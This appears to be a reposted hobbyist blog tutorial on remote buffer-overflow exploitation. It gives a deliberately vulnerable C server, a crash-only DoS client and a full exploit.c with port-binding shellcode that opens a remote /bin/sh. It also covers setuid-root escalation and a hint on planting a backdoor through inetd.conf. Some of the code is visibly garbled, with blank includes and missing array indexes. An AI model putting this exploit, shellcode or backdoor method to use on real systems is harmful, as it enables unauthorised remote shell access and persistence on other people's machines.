Your Ad Here




How to write remote exploits ( V. 1.1)

1. Introduction
Hi welcome to my first english tutorial, and my first tutorial about exploit coding, on the next pages, I want to show you the basics of remote exploits writing. In order to understand the following, I hope that you know "socket programming in C", also ANSI C, and I hope you know how local exploits work. If you haven’t got any idea of these things I want to suggest you to first read other papers or books like…:

*
o
o The C Programming language (Kernighan/Ritchie)
o Unix Network Programming (Richard Stevens)
o Good tutorials about exploits you can find on my



*
o , i.e. smashing the stack for fun and profit… by aleph1

2. Let’s discover the exercise
I hope you’ll enjoy it, ok what are we going to do? We want to exploit a vulnerable server program (vulnerable.c). We want to get a remote shell. In case you are looking for an exercise, read the vulnerable.c program, compile it and try to exploit it. If you don’t have any clue about remote exploits…… well then read further and let us first take a look at the vulnerable program… later we want to look at the functions of the vulnerable program, then how we can abuse an overflow within the program, then we want to define the general structure of the exploit code, and at last we want to write an exploit…
-------------------------------------------- vulnerable.c ----------------------------------------------
#include
#include
#include

#define BUFFER_SIZE 1024
#define NAME_SIZE 2048

int handling(int c)
{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1] = ’\0’;
sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;
}

int main(int argc, char *argv[])
{
int s, c, cli_size;
struct sockaddr_in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;Wink
{
c = accept(s, &cli, &cli_size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;
}
---------------------------------------------- EOF------------------------------------------------------
Here’s how you must compile and use the program.
user@linux:~/ > gcc vulnerable.c -o vulnerable
user@linux:~/ > ./vulnerable 8080
./vulnerable 8080 this means, that you run the service on port 8080, look at the port you wanna take, you mustn’t use a privileged port (1 – 1024) assuming you are not root.
Now we’ve compiled the program and we know how to run it.. with the parameter
program
Now we want check some addresses of the program, and take a look on how it is built. We start the vulnerable program with gdb, to look at some things…


now do the following:
user@linux~/ > gdb vulnerable
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-suse-linux"...
(gdb) run 8080
Starting program: /home/user/directory/vulnerable 8080
Now the program is listening for an incoming connection on port 8080.
Next connect with telnet or netcat on port 8080.
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: Robin
, nice to meet you!
Connection closed by foreign host.
user@linux:~/ >
Now the easy server program doesn’t make anything else then getting a name and writing it back on your screen…. Ok let’s go further…
While you made this, the gdb (debugger) wrote the following on the screen:
client from 127.0.0.1 0xbffff28c
/*Don’t be confused if the address is different on your computer, on my box it is 0xbffff28c */
Ok the server is still running because of the for-loop, so it’s always repeating until you kill the server program.
3. Overflowing the server program
Let's test something....
Now we reconnect to the service on port 8080 and put more than 1024 bytes of characters on the command line "My name is:..."
It should look like this... (I'll take A's *g*)...
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Now the telnet client should be disconnected... but why? Let's look at the output of gdb:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
// Don’t close gdb !!
What happened? As we can see, the eip is set to 0x41414141, probably you are asking why?
OK, I’ll try to explain it. 0x41 stands for an ‘A’... as we put over 1024 bytes in, the program has tried to copy the string name[2048] into
buffer[1024].... so because the string in name[2048] was greater than 1024 bytes, the name buffer has overwritten the buffer
and also overwritten the saved eip (extended instruction pointer, here is the returnaddress stored).. so our buffer
looks like this:
[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]
[xxxxx buffer-only-1024-bytes xxx] [EIP]
Ok our stack should look like this. We’ve tried to put more than 1024 byte into buffer, and then we’ve overwritten the eip *g*.
// don't forget .. eip has a size of 4 bytes !

After you overwrote the whole returnaddress, the function wanted to return to the main function, it jumped to the
wrong address (0x41414141) .... and so there was a segmentation fault.
Now here's a DoS tool for this program:
------------------------------------- dos.c ------------------------------------------------------------
#include
#include
#include
#include
#include
int main(int argc, char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char buffer[2048];
int s, i;
if(argc != 3)
{
fprintf(stderr, "usage: %s \n", argv[0]);
exit(0);
}
s = socket(AF_INET, SOCK_STREAM, 0);
if(s == -1)
{
perror("socket() failed\n");
exit(0);
}
host = gethostbyname(argv[1]);
if( host == NULL)
{
herror("gethostbyname() failed");
exit(0);
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(atol(argv[2]));

if(connect(s, &addr, sizeof(addr)) == -1)
{
perror("couldn't connect so server\n");
exit(0);
}
/* Not difficult only filling buffer with A’s.... den sending nothing more */
for(i = 0; i < 2048 ; i++)
buffer = 'A';

printf("buffer is: %s\n", buffer);
printf("buffer filled... now sending buffer\n");
send(s, buffer, strlen(buffer), 0);
printf("buffer sent.\n");
close(s);
return 0;
}
--------------------------------------------- EOF ------------------------------------------------------





4. Finding the return address
I only want to show you how the structure is of an remote exploit looks like, so let's find out what we are going to do:
First we open gdb and search for the esp... to find esp you can put in the gdb.. (I hope you didn't close gdb) after getting a SEGFAULT... ok now type this x/200bx $esp-200 in, so you should get an ouput of addresses... It should look like this :
(gdb) x/200bx $esp-200
0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
---Type to continue, or q to quit---
Ok know we know that we've overwritten the whole buffer, so let's take one of those addresses... I'll show you later
why this... (because we want to guess the address), maybe you know the NOP's technique... so it shouldn't be any problem to
make our exploit working as well.... or to make our chance bigger to guess the return-address.
Attention don’t take the nearest address near the end of the 0x41, take an address which is in the middle, we’ll overwrite it later with NOPs.

5. Structure of the exploit code
So we've got a possible return address, let's try to use it... the exploit code should be structured like this:
1. First let's find out the esp.. ok we've got it. (ok we've got an address near the esp, that isn't any problem, because we’ll fill the buffer with NOP's)... then you should find a good shellcode which binds a shell on a port... Don't forget: in remote exploits we can't use local exploit shellcodes.. ok we could, but it isn’t very clever. So we have to find another way to get a shell. What about a portbinder shellcode, which binds a shell on a port ??
Ok in the net are many of these portbinder shellcodes .. i.e.



or my page *g*.
2. Declaring a buffer which is bigger than 1024 bytes... let's make it 1064 bytes, so there is no problem to overwrite eip.. so don't forget you only have to declare a buffer which is greater than 1024 bytes...
3. Let's prepare the buffer. Now let's first fill the whole buffer with NOP's:
memset(buffer, 0x90, 1064);
4. Let's copy the shellcode into the buffer
memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));
Here we put the shellcode in the middle of the buffer
Why? Ok, if we got enough NOPS at the beginnig, our chance is getting better to execute the shellcode
5. Let's terminate the Nullbyte in the buffer
buffer[1000] = 0x90; // 0x90 is the NOP in hexadecimal
6. Let's copy the returnaddress at the end of the buffer
for(i = 1022; i < 1059; i+=4)
{
((int *) &buffer) = RET;
// RET is the returnaddress we want to use... #define in the header

}
We know that the buffer ends by 1024 bytes, but to get sure we begin on 1022, then we’re copying the returnaddress until we’ve got 1059 bytes.. that is enough because we've already overwritten the eip (we hope so *g*).
7. Let's add a \0 Nullbyte at the end of our prepared buffer:
buffer[1063] = 0x0;
Now we've prepared our buffer, now we only need to send it to the vulnerable host.. by port and host or ip.
-------------------------------------------- exploit.c --------------------------------------------------
/* Simple remote exploit, which binds a shell on port 3789
* by triton
*
* After return address was overwritten, you can connect
* with telnet or netcat to the victim host on Port 3789
* After you logged in... there’s nothing, but try to enter "id;" (don’t forget the semicolon)
* So you should get an output, ok you’ve got a shell *g*. Always use:
*
* ;
*
* execute.
*/
#include
#include
#include
//Portbinding Shellcode
char shellcode[] =
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\ x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\ x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\ x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\ x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\ x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\ x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\ xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
//standard offset (probably must be modified)
#define RET 0xbffff5ec

int main(int argc, char *argv[]) {
char buffer[1064];
int s, i, size;
struct sockaddr_in remote;
struct hostent *host;
if(argc != 3) {
printf("Usage: %s target-ip port\n", argv[0]);
return -1;
}
// filling buffer with NOPs
memset(buffer, 0x90, 1064);
//copying shellcode into buffer
memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));
// the previous statement causes a unintential Nullbyte at buffer[1000]
buffer[1000] = 0x90;
// Copying the return address multiple times at the end of the buffer...
for(i=1022; i < 1059; i+=4) {
* ((int *) &buffer) = RET;
}
buffer[1063] = 0x0;
//getting hostname
host=gethostbyname(argv[1]);
if (host==NULL)
{
fprintf(stderr, "Unknown Host %s\n",argv[1]);
return -1;
}
// creating socket...
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
fprintf(stderr, "Error: Socket\n");
return -1;
}
//state Protocolfamily , then converting the hostname or IP address, and getting port number
remote.sin_family = AF_INET;
remote.sin_addr = *((struct in_addr *)host->h_addr);
remote.sin_port = htons(atoi(argv[2]));
// connecting with destination host
if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)
{
close(s);
fprintf(stderr, "Error: connect\n");
return -1;
}
//sending exploit string
size = send(s, buffer, sizeof(buffer), 0);
if (size==-1)
{
close(s);
fprintf(stderr, "sending data failed\n");
return -1;
}
// closing socket
close(s);
}
--------------------------------------------- EOF-------------------------------------------------------
7. Using the exploit
user@linux~/ > gcc exploit.c –o exploit
user@linux~/ > ./exploit
Now it should work If you got the right return address... or one of the right return addresses.
user@linux~/ > telnet 3879
If you’re connected then try to do this:
id;
uid=500(user) gid=500(user) groups=500(user)
As you can see, it works very well.


8. Getting root privileges
Do the following:
user@linux~/ > su
password: ******
root@linux~/ > ls –ln vulnerable
-rwxrwxr-x 1 500 500 14106 Jun 18 14:12 vulnerable
root@linux~/ > chown root vulnerable
root@linux~/ > chmod 6755 vulnerable
root@linux~/ > ./vulnerable
Now you can exploit the server program, and you should get a root shell *g*
9. Enter the service in inetd.conf
Ok we’re interested how the program, would work, if it would be a deamon. Now do the following:
First copy the vulnerable pogram to /usr/bin/
root@linux~/ > cp vulnerable /usr/bin/vulnerable
Now let’s modify some files...
root@linux~/ > vi /etc/services
(Feel free to use your favourite editor instead of vi)
Define a port which you wanna take. I’ll take the port 1526, now let’s enter this informations into /etc/services
vulnerable 1526/tcp # defining port for our server program, save and quit
Now edit the inetd.conf file
root@linux~/ > vi /etc/inetd.conf
put in:
vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526
Now safe the inetd.conf file and quit.
root@linux~/ > killall –HUP inetd
Now restart inetd and everything should work..
Note: This is also a good way to make a backdoor, adding a service in /etc/services then, add the things in inetd.conf and right /bin/sh sh –i or sh –h *g*....
9. Problem solutions
If the exploit doesn’t work, please think about the return address, it could be wrong, test it with gdb....
user@linux~/ > gdb vulnerable
.....
(gdb) run
Now you can exploit the program, if it doesn’t work look at the output of gdb, and try to find out the address, like in Chapter 4.
If there any other problems ... read the remarks *g*.
10. Remarks
If you find a bug, please mail me, so I can correct the current Version. If you want to criticize my english, I’ll delete your message :-) *nobody’s perfect*, but if you really got problems to understand this, please ask me... But please do not tease me with stupid question, I don’t have the time to answer every question.
If you want to put this text on your page, no problem, but please do not change the copyright or other things....
11. Greets
Thanks to Maverick for the vulnerable programm *hehe* (in his Tutorial "Socket Programming"),
thanks to triton for the exploitcode (great man, also member of buha-security.de)
Greets to all members of buha-security.de and greets to XaitaX, cat, Anthraxx, Jess (I wonder what happend with her), DrDoo (knuff)
and of course one of my best friends Richard Hirner (well I know him 1,2 year ago, but we didn't meet us.... *g*..)... at least greets to all apprentices of LGT Bank in Liechtenstein, special greets to Marc, Etienne, Martina... (Toni from Hospital too, my own appretice)

Posted by Cyber Trunks

0 comments:

Your Ad Here